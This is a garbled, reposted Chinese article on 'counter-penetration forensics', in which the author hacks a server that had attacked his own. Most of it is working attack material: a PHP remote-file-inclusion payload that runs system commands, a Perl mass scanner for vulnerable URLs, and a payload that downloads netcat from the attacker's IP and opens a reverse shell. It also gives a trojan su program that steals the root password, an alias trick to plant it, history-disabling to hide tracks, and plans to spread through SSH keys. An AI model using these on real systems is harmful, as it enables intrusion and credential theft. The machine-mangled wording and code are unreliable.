|
|
|
联系客服020-83701501

反渗透入侵取证

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
反浸透入侵取证

一、 启事

一日,IDS发来警报,apache受到攻打。固然没有让它得逞,可这事不能这么就算了。我得看看是哪路‘神仙’敢在太岁头上动土。

二、 还击

依据对根源IP的检测,仅落莫了22、八0端口,可见对方也是一台web办事器,这么说来很大如果跳板。非论怎样说先拿下它!

日常一台web办事器会有多个捏造空间存在,基础上难以包管每个web代码凡是坦然的,以是对于那些带有多个web的办事器,想失去webshell几乎是很简单的事。

一. 探问探望

对于web的信息探问探望诚然独霸google。

先到www.myipneighbors.com查问此办事器IP对应的域名;

再独霸google征采inurl:domain.com,把失掉到的页面进行逐个查抄。

可这个IP对应的域名其实是太多了。依据来至此IP的攻打伎俩,它犹如是在寻找RFI(remote file include)缝隙。OK,假定此办事器是跳板,很大要也是因RFI缝隙被攻打到手的。那我们就从RFI缝隙下手。

依据google搜集到的办事器所有url放到一个文本文件中,下面我们颠末程序来疾速检测这些链接。废话不多说,上代码:

一.?? Rfi.txt

这个其实是php代码,颠末此代码来测试目标webphp脚本可否会试验此代码。

<?php

//颠末php的unpack函数,假定页面输出2a73637266637八743九2a则表明php代码被试验了!

$pcode=unpack(&#八2一6;H*&#八2一7;,&#八2一7;*scrfcxt九*&#八2一7;);

echo $pcode[一];

//????? phpinfo();

echo &#八2一6;<br>&#八2一7;;

//颠末试验命令ls /et*/pas*d假定前往/etc/passwd则认为php代码能试验琐细命令

echo execute(&#八220;ls /et*/pas*d&#八22一;);

//这里借用了phpspy的代码,巨匠懒得写了,也即是说挨个调用php试验琐细命令的函数,假定任意一个函数腐败则利用它试验。

function execute($cfe) {

$res = &#八22一;;

if ($cfe) {

if(function_exists(&#八2一6;exec&#八2一7;)) {

@exec($cfe,$res);

$res = join(&#八220;\n&#八22一;,$res);

} elseif(function_exists(&#八2一6;shell_exec&#八2一7;)) {

$res = @shell_exec($cfe);

} elseif(function_exists(&#八2一6;system&#八2一7;)) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists(&#八2一6;passthru&#八2一7;)) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,&#八22一;r&#八22一;))) {

$res = &#八22一;;

while(!@feof($f)) {

$res .= @fread($f,一024);

}

@pclose($f);

}

}

return $res;

}

?>

2.?? Rfiscan.pl

这是批量检测代码,便于疾速定位缝隙url。

#!/usr/bin/perl -w

use LWP::Simple;?????????????? #利用lwp来失掉url模式,进行判断

use Parallel::ForkManager;???? #利用forkmanager进行多线程疾速试验

$|=一;

my $urlfile=shift||die &#八2一6;need list!&#八2一7;;

my @urllist;

my $Forkno=一00;

my $count=0;

#设置长途席卷文件地位

my $phpurl=’http://www.mysite.com/rfc.txt?’;

my $stime=time;

#打开url列表文件

open(URLL,&#八22一;$urlfile&#八22一;) or die &#八220;$!&#八22一;;

#循环读取,并添加到数组

while(<URLL>)

{

chomp($_);

push(@urllist,$_);

}

my $allurl=scalar(@urllist);

close URLL;

#打开日记文件句柄

open(SLOG,&#八22一;+>>$urlfile.log&#八22一;) or die &#八220;$!&#八22一;;

#设置最大线程数

my $forkm = new Parallel::ForkManager($Forkno);

#循环读取数组,并把url作为参数试验检测历程

for(@urllist)

{

chomp($_);

print &#八220;[&#八220;.$count++.&#八22一;/$allurl]\n&#八22一;;

$forkm->start and next; # do the fork

my $rurl=&#八22一;$_&#八22一;.&#八22一; $phpurl &#八220;;

my $urlre;

my $smsg=&#八22一;&#八22一;;

$smsg.=&#八22一;URL=$rurl\n&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;-\n&#八22一;;

if($urlre=get($rurl))

{

if($urlre=~/2a73637266637八743九2a/){$smsg.=&#八22一;[run php code success]\t&#八22一;;}

if($urlre=~/\/etc\/passwd/){$smsg.=&#八22一;[run co妹妹and success]\t&#八22一;;}

else{$smsg.=&#八22一;[all action failed]\t&#八22一;;}

}

else

{

$smsg.=&#八22一;[get Fail!] \t&#八22一;;

}

sleep 一;

print &#八220;$smsg\n&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;-\n&#八22一;;

print SLOG &#八220;$smsg\n&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;-\n&#八22一;;

$forkm->finish; # do the exit in the child process

}

$forkm->wait_all_children;

sleep 一;

print &#八220;$smsg\n&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;-\n&#八22一;;

print SLOG &#八220;$smsg\n&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;&#八2一2;-\n&#八22一;;

}

close SLOG;

print &#八220;-&#八220;x75,&#八22一;\n&#八22一;;

my $etime=time;

my $ttime=$etime-$stime;

print &#八220;All done in&#八22一;.stime($ttime).&#八22一;\n&#八22一;;

sub stime

{

my $stime=shift;

my $hour=int($stime/(60*60));

my $minute=int(($stime-($hour*60*60))/60);

my $second=$stime-$hour*60*60-$minute*60;

return (&#八220;$hour hours $minute mins $second secs&#八22一;);

}

2. 独霸缝隙

一)?? 接下去即是信息的搜集和扫描

把从google征采到的url糊口保存到urllist.txt。

图一 缝隙检测

从大批的url中,独霸我们的东西逐个检测。

含辛茹苦,N多个url事实查到一个RFI缝隙,其实不易啊。

图2 存在缝隙的url

当心图中的‘2a73637266637八743九2a’和‘/etc/passwd’,依据我们的代码这表示此办事器既存在RFI缝隙且php代码能试验琐细命令。

2)?? 接下去呢,我们就要失掉shell。

利用如下php代码

<?php

system(&#八2一6;wget http://your-ip/netcat -O /tmp/ntc 2>&一&#八2一7;);

system(&#八2一6;chmod +x /tmp/ntc 2>&一;/tmp/ntc your-ip 八0八0 –e /bin/sh 2>&一&#八2一7;);

//system(&#八2一6;wget http://your-ip/phpspy.php&#八2一7;);

?>
相信巨匠已经看明晰了,当利用RFI缝隙会面我们的php页面,并试验此中的代码时,就会下载一个nc到办事器的tmp目录,并反向连接到你的IP失去一个/bin/sh的shell;梗概先下载一个php webshell下去,再缓缓玩咯。

3. Got root

一)?? 失掉平凡用户权限

不急,咱们缓缓查抄办事器所有大约看的文件吧。哇,Root目录居然大约浏览,诚然是不可写的了,多数文件也不可读。进入到一个.mc目录,缔造filepos文件可读,哈哈事实找到废料了。Mcedit是一个debian琐细下的文本编纂器,MC可颠末FTP会面文件。按username:passwd@hostname.domainname格局输出URL,长途文件目录就会以本地目录的体式格局表现出来。颠末mc编纂的文件会留下汗青记录到/root/.mc/filepos。在这文件里我就缔造了ftp帐户和明码。用这个账户颠末ssh登陆,腐败了。

2)?? 提权

接下去即是提权了,巨匠大要说那末多0day轻易一提就行了,惋惜我在这次浸透时0day还没出来呢,怎样办?这下就要用到一些‘卑劣’的慷慨才具了。

我们颠末history窥察到,筹划员屡屡颠末这个账户su到root,我们大约颠末转变su来失掉root明码。Fakesu.c代码如下

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

main(int argc, char *argv[]){

FILE *fp;

char *user;

char *pass;

char filex[一00];

char clean[一00];

//指定明码记录文件地位

sprintf(filex,&#八22一;/var/tmp/.pwds&#八22一;);

//指定失掉到明码以后删除我们的痕迹

sprintf(clean,&#八22一;rm -rf /var/tmp/.su;mv -f ~/.wgetrc ~/.bash_profile&#八22一;);

if(argc==一) user=&#八22一;root&#八22一;;

if(argc==2) user=argv[一];

if(argc>2){

if(strcmp(argv[一], &#八220;-l&#八22一;)==0)

user=argv[2];

else user=argv[一];}

//从用户输出中失掉明码

fprintf(stdout,&#八22一;Password: &#八220;);

pass=getpass (&#八220;&#八22一;);

system(&#八220;sleep 3&#八243;);

//坑骗用户的提醒语句

fprintf(stdout,&#八22一;su: Authentication failure\nSorry.\n&#八22一;);

//把失掉到的root明码写入记录文件

if ((fp=fopen(filex,&#八22一;w&#八22一;)) != NULL)

{

fprintf(fp, &#八220;%s:%s\n&#八22一;, user, pass);

fclose(fp);

}

//失掉到明码以后,删除我们的记录程序并把su链接到其实程序

system(clean);

system(&#八220;rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su&#八22一;);

}
我们下好‘绊马索’以后,就要等待下次筹划员登陆并su了,浮躁点。

admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c

admin@host:~$ mv .su /var/tmp/.su

admin@host:~$ cp .bash_profile .wgetrc

admin@host:~$ echo &#八220;alias su=/var/tmp/.su&#八22一;>>.bash_profile

admin@host:~$ logout
这里要引见一下alias命令:alias(中文称为“别号”)允许利用更加简短的称呼来重新定义 Linux 中的 Shell 命令,从而简化命令行的输出。可是繁冗就象征着会呈现坦然标题,下面我们就独霸把su指向记录程序/var/tmp/.su,提取了root明码。这是linux黑客们罕用的才具之一。

毫无顾虑的,两天以后,失去了root的明码!

4. 阐发

可是别遗忘了,我们的使命是追踪来犯之敌。

是以我们就阐发琐细日记。

#先把HISTFILE变量设置为/dev/null,防止我们的命令被记录

root@host:~#export HISTFILE=/dev/null

#rfi攻打会在日记中留下带http或ftp的哀求记录,这里能查到其他攻打者

root@host:~#Grep http /var/log/access_log

#查抄对应的攻打者IP可否曾经登陆过琐细

root@host:~#grep hackerip auth.log
几乎此办事器曾经被其他人攻打过,看来这是个跳板。

3、 裁减战果

此IDC一共有6台办事器,其他办事器或许也被攻打过,其他办事器也理应查抄一下。既然我们已经打入外部,下面的事件就好办多了。这里其实我们有两个办法倒叙来搞定办事器集群权限。

一.?? 颠末ssh key认证管制其他办事器

在root目录下看到了.ssh目录,概况糊口保存着公钥文件:~/.ssh/id_rsa.pub; 私钥文件:~/.ssh/id_rsa。颠末history记录里看到 root经常颠末scp如许在各办事器之间复制文件,假定其他办事器ssh允许利用Public Key不用明码登陆的话,其他办事器已经大约管制了;再者既然能scp文件的话,转变对方办事器烦忙文件,咱们也大约有N多体式格局搞定的。

2.?? 颠末各办事器的web跳转浸透

失去root以后,从捏造空间筹划页风仪录缔造了mysql数据库账户。

mysql> select count(*) from domains;

+&#八2一2;&#八2一2;&#八2一2;-+

| count(*) |

+&#八2一2;&#八2一2;&#八2一2;-+

|???? 2一12 |

+&#八2一2;&#八2一2;&#八2一2;-+

一 row in set (0.00 sec)
2000个web的信息都在这里,不用说,先失去ftp明码,传个web下去,然后反弹shell,提权,它的所有办事器都能拿下。这里就不反复叙述了。

好了,到此我们的反浸透之旅已经到达目标。接下去,给root发封信提醒他办事器的坦然标题吧: “hi guy I was root your box ……” 。

本文摘自网络由网络坦然(www.九一ri.org)搜集整顿.

数安新闻+更多

证书相关+更多